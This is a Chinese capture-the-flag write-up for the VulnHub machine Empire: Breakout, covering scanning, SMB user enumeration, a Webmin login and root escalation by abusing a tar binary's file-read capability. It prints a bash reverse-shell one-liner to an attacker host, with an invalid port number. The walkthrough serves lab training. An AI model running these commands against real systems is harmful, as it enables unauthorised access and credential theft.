vulnhub靶场之EMPIRE:BREAKOUT

一.环境搭建

1.靶场描述

Description
Back to the Top
Difficulty: Easy
This box was created to be an Easy box, but it can be Medium if you get lost.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
 

2.靶场地址

https://www.vulnhub.com/entry/empire-breakout,751
 

image-20240115202624114

3.启动靶场

image-20240115202638120

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240115202948264

arp-scan -l
 

image-20240115203526580

靶场真实ip地址为192.168.52.134

(2)探测端口及服务

nmap -A -v -p- 192.168.52.134
 

image-20240115203205199

这里我们不使用这个命令,这个命令看起来太麻烦了,我们使用另一个命令,更加直观

nmap -p- -sV 192.168.52.134
 

image-20240115203444747

发现开启了80端口,APache httpd 2.4.51((Debian))
发现开启了139,445端口,Samba smbd 4.6.2
发现开启了10000,20000端口, MiniServ 1.830 (Webmin httpd)
 

也可以使用masscan进行探测

image-20240115203636268

(3)web指纹识别

whatweb -v 192.168.52.134
 

image-20240115204012504

3.渗透测试

(1)访问web服务

http://192.168.52.134
 

image-20240115204153015

是一个apache2页面,我们查看源码,可以看到一个加密的过后的字符串,我们进行解密

image-20240115204250195

image-20240115205820955

.2uqPEfj3D<P'a-3
 

这应该是一个密码,先记录下来,接着我们继续查看另外两个网站

10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的

image-20240115204936324

image-20240115204954830

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.134
 

image-20240115204419404

没有有用的信息

2)nikto扫描网站结构
nikto -h http://192.168.52.134
 

image-20240115204742223

image-20240115204808713

但是没有什么用

3)dirsearch目录扫描
dirsearch -u 192.168.52.133 -e * -x 403 --random-agent
 

image-20240115205327708

没有任何信息

(3)渗透测试

1)enum4linux 收集用户

我们已经有了用户的密码,所以我们要着手寻找用户名了,由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息, 使用命令enum4linux可以收集大量的信息

Enum4linux 是一个用于枚举和收集信息的开源工具,特别是在Windows环境下进行。它设计用于与SMB/CIFS(Server Message Block/Common Internet File System)协议交互,该协议通常用于在Windows网络中共享文件和打印机。
以下是 Enum4linux 的主要功能:
用户和组枚举: Enum4linux 可以列出目标系统上的用户和组,包括一些敏感信息,如用户ID(UID)、组ID(GID)、用户描述等。
共享枚举: 它可以枚举目标系统上的共享资源,包括共享名称、共享路径和共享类型。
策略枚举: 工具可以提取目标系统的安全策略信息,包括密码策略和帐户锁定策略。
会话和会话枚举: 它可以列举活动会话,显示与系统相关的用户信息。
操作系统版本信息: Enum4linux 试图识别目标系统的操作系统版本。

enum4linux 192.168.52.134
 

image-20240115210318907

获得了一个用户名cyber

2)登录用户名

登录一下20000端口,登录进去一看,发现左下角有一个终端的图标,点进去之后就可以运行命令了

image-20240115210853717

image-20240115210944182

我们可以找到第一个flag

(4)提权

我们查看权限,不是root权限,我们进行提权

image-20240115211201249

我们先反弹shell

image-20240115211424046

image-20240115211412338

我们可以看到反弹成功

除了user.txt,还发现一个 tar 文件,查看一下文件的相关属性

image-20240115211811673

突然给这么一个可运行文件肯定是有深意的,我们看一下这个文件拥有的权限是什么

getcap tar
 

image-20240115212155675

getcap是一个Linux命令,用于获取文件的能力(capabilities)信息。在Linux中,能力是一种粒度更细的权限系统,用于授予进程执行特定操作的权限,而不是传统的用户和组权限模型。

发现有 cap_dac_read_search=ep 功能,能读取文件,发现它是可以读取任意文件的,有关linux setcap命令的信息,查看下面链接

https://www.cnblogs.com/iamfy/archive/2012/09/20/2694977.html
 

后来在 /var/backups 目录下发现了一个密码备份文件:

image-20240115212857546

其实如果我们想在kali里面寻找文件,我们可以使用如下命令

find -name "*bak*"
 

image-20240115213621962

只能由root用户读取,不过之前发现 tar 可以读取任意文件,那就用 tar 读取文件

tar tar -tvf archive.tar

image-20240115213856570

我们用tar把它打包之后再解压出来,就没有权限问题了

./tar -cvf MS02423.tar /var/backups/.old_pass.baktar -xvf MS02423.tar
 

image-20240115215554730

cat之后获得了root密码

image-20240115215623797

我们登录root,但是发现这里有bug

image-20240115220415090

那么我们就反弹shell

image-20240115222410774

bash -i >& /dev/tcp/192.168.52.152/666666 0>&1
 

image-20240115220344317

可反弹成功,在此登录root就可以看到最终的flag了

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.dirsearch目录扫描

9.enum4linux 工具的使用

10.kali反弹shell

11.tar

12.getcap

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/654989.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

备战蓝桥杯---数据结构与STL应用(入门1)

话不多说&#xff0c;直接看题&#xff1a; 下面为分析&#xff1a;显然&#xff0c;我们要先合并最小的两堆&#xff08;因为他们在后边也得被计算&#xff0c;换句话&#xff0c;我们独立的看&#xff0c;某一堆的体力值为他自己重量*从现在到最后的次数&#xff09; 因此&a…

Ubuntu 22.04安装Nginx负载均衡

君衍. 一、编译安装Nginx二、轮询算法实现负载均衡三、加权轮询算法实现负载均衡四、ip_hash实现负载均衡 一、编译安装Nginx 这里我们先将环境准备好&#xff0c;我使用的是Ubuntu22.04操作系统&#xff1a; 这个是我刚安装好的&#xff0c;所以首先我们进行保存快照防止安装…

为什么说linux操作系统要比windows稳定?

为什么说linux操作系统要比windows稳定&#xff1f; 在开始前我分享下我的经历&#xff0c;刚入行时遇到一个好公司和师父&#xff0c;给了我机会&#xff0c;两年时间从3k薪资涨到18k的&#xff0c; 我师父给了一些linux学习方法和资料&#xff0c;让我不断提升自己&#xff…

【机器学习】欠拟合与过拟合

过拟合&#xff1a;模型在训练数据上表现良好对不可见数据的泛化能力差。 欠拟合&#xff1a;模型在训练数据和不可见数据上泛化能力都很差。 欠拟合常见解决办法&#xff1a; &#xff08;1&#xff09;增加新特征&#xff0c;可以考虑加入特征组合、高次特征&#xff0c;以…

Qt Design Studio+Pyside项目

Qt Design Studio设计出的项目结构有多个层级的目录&#xff0c;我们直接用类似Qt Creator工具的方式加载main.qml文件时会报错提示module "content" is not installed&#xff0c;将content加入importPath后还是报同样的错误。 Qt Design Studio生成的文件包含了.qm…

【Docker】数据持久化 挂载

Docker的镜像是只读的&#xff0c;但是容器是可写的&#xff0c;我们可以将数据写入到容器&#xff0c;不过一旦容器删除数据将会丢 失&#xff0c;那么有什么办法能将数据进行持久化存储呢&#xff1f; ——在宿主机上开辟一块地方&#xff0c;存储内容和docker容器的存储内…

低代码平台:业务开发“加速器”

一、现状 低代码开发平台要让每个人&#xff0c;包括开发者和普通业务人员&#xff0c;都能够成为企业数字化过程中的主导者和构建者&#xff01;让普通人更容易上手&#xff01; 基于这一目标&#xff0c;应用需求多的云服务商成为低代码投资的主要来源。一家云服务商如谷歌云…

AJAX的原理(重点)

◆ XMLHttpRequest 什么是XMLHttpRequest&#xff1f; 定义&#xff1a; 关系&#xff1a;axios 内部采用 XMLHttpRequest 与服务器交互 注意&#xff1a;直白点说就是axios内部就是封装了XMLHttpRequest这个对象来实现发送异步请求的 使用 XMLHttpRequest 步骤&#xff1a…

C# 实现 gRPC 服务和调用

写在前面 gRPC 是一种与语言无关的高性能远程过程调用 (RPC) 框架。 主要优点如下&#xff1a; 1.高性能轻量化。 2.协议优先的 API 定义模式&#xff0c;默认使用协议缓冲区&#xff0c;允许与语言无关的实现。 3.可用于多种语言的工具&#xff0c;以生成强类型服务器和客户…

项目解决方案:市小区高清视频监控平台联网整合设计方案(上)

目 录 一、项目需求 1.1业务需求 1.2技术需求 1.3 环境要求 1.3.1 硬件要求 1.3.2 技术服务要求 二、系统设计方案 2.1 视频监控平台基础功能设计 2.2 视频资源及联网设备编码与管理设计 2.2.1 全省现有联网视频资源属性 2.2.2 视频资源编码具体格…

Spring IoC容器(一)

IoC,Inversion of Control 控制反转&#xff0c;是一个过程。仅通过构造函数、工厂方法或在对象实例化后在对象实例上设置属性来定义其依赖关系。容器负责这些工作&#xff0c;这个过程从本质上来说是bean本身的反向&#xff0c;因此称为反向控制。 1 容器 负责实例化、配置及…

C语言入门(二)、每日Linux(三)——gcc命令,通过gcc命令熟悉C语言程序实现的过程

使用gcc编译C语言程序 C语言程序实现的过程gcc命令基础用法常用选项编译和汇编选项&#xff1a;优化选项&#xff1a;调试选项&#xff1a;链接选项&#xff1a;警告选项&#xff1a; 实验对于-o选项 通过gcc命令熟悉C语言程序的执行过程1.预处理2.编译阶段3.汇编阶段4.链接阶段…

Java 面试题之 IO(二)

字符流 文章目录 字符流Reader&#xff08;字符输入流&#xff09;Writer&#xff08;字符输出流&#xff09; 文章来自Java Guide 用于学习如有侵权&#xff0c;立即删除 不管是文件读写还是网络发送接收&#xff0c;信息的最小存储单元都是字节。 那为什么 I/O 流操作要分为字…

Java 与 JavaScript的区别

Java 与 JavaScript的区别 Java 与 JavaScript&#xff1a;概述Java的特点JavaScript 的起源JavaScript 的特点Java 与 JavaScript&#xff0c;哪个更好&#xff1f;JavaScript 与 Java 相似吗&#xff1f;Java 与 JavaScript 的区别JavaScript 在服务器端的运行方式是怎样的&a…

网络防御安全知识(第二版)

安全策略 传统的包过滤防火墙 --- 其本质为ACL列表&#xff0c;根据数据报中的特征进行过滤&#xff0c;之后对比规制&#xff0c; 执行动作。 五元组 --- 源IP&#xff0c; 目标IP&#xff0c;源端口&#xff0c; 目标端口&#xff0c;协议 安全策略 --- 相较于ACL的改进之…

Linux/Delivery

Enumeration nmap 首先扫描目标端口对外开放情况&#xff0c;第一轮扫描发现对外开放了22,80,8065三个端口&#xff0c;端口详细信息如下 nmap -sC -sV -p 22,80,8065 10.10.10.222 nmap显示22端口运行着ssh服务&#xff0c;80端口运行着http服务&#xff0c;8065端口运行的…

基于go mod模式创建项目最佳实践

希望能带给你成功的喜悦&#xff01; 除go get、vendor这两种方式外&#xff0c;Go版本在1.11之后推出了go module模式来管理依赖&#xff0c;使用go mod时下载的依赖文件在$GOPATH/pkg/mod/下。本文以两种办法介绍如何创建go mod项目。 目录 goland开启玩法 本地手动创建项目…

【Linux】Linux下多线程

需要云服务器等云产品来学习Linux的同学可以移步/–>腾讯云<–/官网&#xff0c;轻量型云服务器低至112元/年&#xff0c;优惠多多。&#xff08;联系我有折扣哦&#xff09; 文章目录 1. 前置&#xff1a;进程地址空间和页表1.1 如何看待进程地址空间和页表1.2 虚拟地址…

MIAOYUN获评OpenCloudOS社区2023年度优秀贡献企业

近日&#xff0c;OpenCloudOS社区发布了社区年度贡献企业榜单&#xff0c;成都元来云志科技有限公司&#xff08;简称“MIAOYUN”&#xff09;凭借对国产开源的热情&#xff0c;及对操作系统产业的支持&#xff0c;通过兼容适配互认证&#xff0c;为推动OpenCloudOS规模化应用&…

使用IP爬虫代理提取数据的步骤是什么?爬虫代理IP怎么提高采集效率?

​​​​​ 一、使用IP爬虫代理提取数据的步骤 在使用爬虫代理IP提取数据之前&#xff0c;需要先了解数据来源和目标网站的结构。以下是一个基本的步骤&#xff1a;1.确定数据来源 首先需要确定要提取数据的网站或数据源&#xff0c;了解网站的结构、数据存储方式以及数据更新…